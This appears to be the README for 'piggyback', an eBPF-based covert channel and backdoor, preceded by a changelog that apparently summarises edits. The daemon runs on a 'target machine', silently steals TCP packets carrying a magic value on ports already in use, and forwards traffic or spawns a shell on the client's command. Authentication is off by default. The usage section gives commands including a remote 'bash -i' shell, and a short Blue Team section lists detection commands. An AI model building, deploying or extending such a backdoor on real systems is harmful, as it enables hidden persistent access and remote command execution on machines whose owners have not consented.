piggyback.c — no FWD_HOST, FWD_PORT, or SERVER_IP constants. Daemon auto-detects interface and its own IP from getifaddrs. Forward target comes from the client packet always. Config is just IFACE, LISTEN_PORT, AUTH_ENABLED, TRUSTED_PUBKEY. pb-client.c — CLI flags as you wanted. Always sends the 80-byte header (action + target). Without --key: timestamp=0, sig=zeros, daemon in no-auth mode reads action+target and skips verification. With --key: full signed header. README.md — SNI note fixed: "must match middleware virtual host config" — it's whatever the middleware requires, the operator looks it up. Removed all the wrong advice about changing it.
5.1 KiB
piggyback
Covert channel using Linux TC eBPF. Intercepts TCP packets on a port already in use, steals matching ones before the application sees them, forwards or executes per the client's instruction. Normal traffic is unaffected. Zero changes to existing services.
Mode 1 — Plain TCP
Client Server (:80)
│── TCP packet ────────────→ TC eBPF ingress
│ [MAGIC][header] magic match?
│ YES → TC_ACT_STOLEN → daemon
│ NO → TC_ACT_OK → app (nginx etc.)
Mode 2 — Client wraps in legitimate TLS (middleware terminates SSL)
Client Middleware (:443) Server (:80)
│── valid TLS ──→ │ │
│ [MAGIC] │── [MAGIC][header] ─────→ TC eBPF ingress
│ inside │ (inner bytes fwd) → same as Mode 1
Mode 2 is identical server-side. Client sends a real TLS handshake toward middleware (nginx, Caddy, HAProxy) with the correct SNI so routing works. Middleware decrypts and forwards inner bytes to the plain TCP backend.
Requirements
- Linux 5.8+ (ring buffer + sk_lookup)
- Root /
CAP_NET_ADMIN+CAP_BPF libbpf,clang,llvm,bpftool,libsodium,libssl
# Fedora
sudo dnf install libbpf-devel clang llvm kernel-headers bpftool libsodium-devel openssl-devel
# Debian/Ubuntu
sudo apt install libbpf-dev clang llvm linux-headers-$(uname -r) bpftool libsodium-dev libssl-dev
Configuration
Only two files need editing before compiling. Port must match in both.
piggyback.bpf.c
#define LISTEN_PORT 80 // port to intercept
#define MAGIC "\xDE\xAD\xC0\xDE\xCA\xFE" // keep in sync with pb-client.c
piggyback.c
#define IFACE "" // "" = auto-detect default-route interface
#define LISTEN_PORT 80 // must match piggyback.bpf.c
#define AUTH_ENABLED 0 // 1 = require Ed25519 signature
#define TRUSTED_PUBKEY { 0xAB, ... } // 32-byte pubkey from `make keygen`
Forward target, action, and target port are not configured in the daemon — they come from the client packet. The daemon has no idea where to forward until a client tells it.
Build
make
Generate Ed25519 keypair (for authenticated mode)
make keygen
# Outputs public key hex → paste into TRUSTED_PUBKEY in piggyback.c
# Saves engagement.key → pass to pb-client with --key (never copy to target)
Usage
Server (target machine)
sudo ./piggyback
Client (operator machine)
# Mode 1 — plain TCP, no auth, forward to sshd
./pb-client 1.2.3.4 80 2222
# Mode 2 — through TLS middleware (SNI must match middleware routing)
./pb-client 1.2.3.4 443 2222 --mode tls --sni internal.corp.com
# With auth — forward to custom target
./pb-client 1.2.3.4 80 2222 --key engagement.key --target 10.0.0.5:3389
# Shell execution
./pb-client 1.2.3.4 80 2222 --key engagement.key --action shell --cmd 'bash -i'
# Then connect
ssh -p 2222 user@localhost
Full client options:
./pb-client <server_ip> <server_port> <local_port> [options]
--mode tcp|tls connection mode (default: tcp)
--sni <hostname> SNI for TLS — must match middleware virtual host config
--key <path> Ed25519 private key PEM (enables auth)
--action forward|shell (default: forward)
--target <ip:port> forward target on server side (default: 127.0.0.1:22)
--cmd <command> shell command for --action shell (default: bash)
-v verbose
Auth flow (AUTH_ENABLED=1)
make keygen— generate Ed25519 keypair- Set
TRUSTED_PUBKEY+AUTH_ENABLED=1inpiggyback.c, recompile daemon - Pass
--key engagement.keytopb-client(key stays on operator machine) - Client sends:
MAGIC(6) + 80-byte signed header - Daemon verifies Ed25519 sig, checks timestamp (±60s), checks replay ring
- On pass: executes action from header
- On fail: connection dropped silently
Signed header format (80 bytes after MAGIC):
[0..7] unix timestamp, big-endian uint64
[8] action (0x01=forward, 0x02=shell)
[9..12] target IPv4
[13..14] target port big-endian
[15] reserved
[16..79] Ed25519 sig over bytes [0..15] + server interface IPv4 (4 bytes)
Without --key: header still sent but timestamp=0 and sig=zeros. Daemon in
no-auth mode reads action+target and skips signature verification.
Detection (Blue Team)
tc filter show dev eth0 ingress # TC eBPF filters
bpftool prog list # all loaded eBPF programs
bpftool map list # eBPF maps (conn_state, pending, daemon_sock)
Baseline bpftool prog list on clean systems. Alert on new TC ingress programs
on internet-facing interfaces.
Known Limitations
- ACTION_FORWARD target is IPv4 only — header has 4 bytes for target IP
- Replay ring is size-bounded — 256 entries, evicted by overwrite not expiry
- sk_lookup may fail on some kernels — daemon logs a warning and falls back (works everywhere except strict NAT scenarios)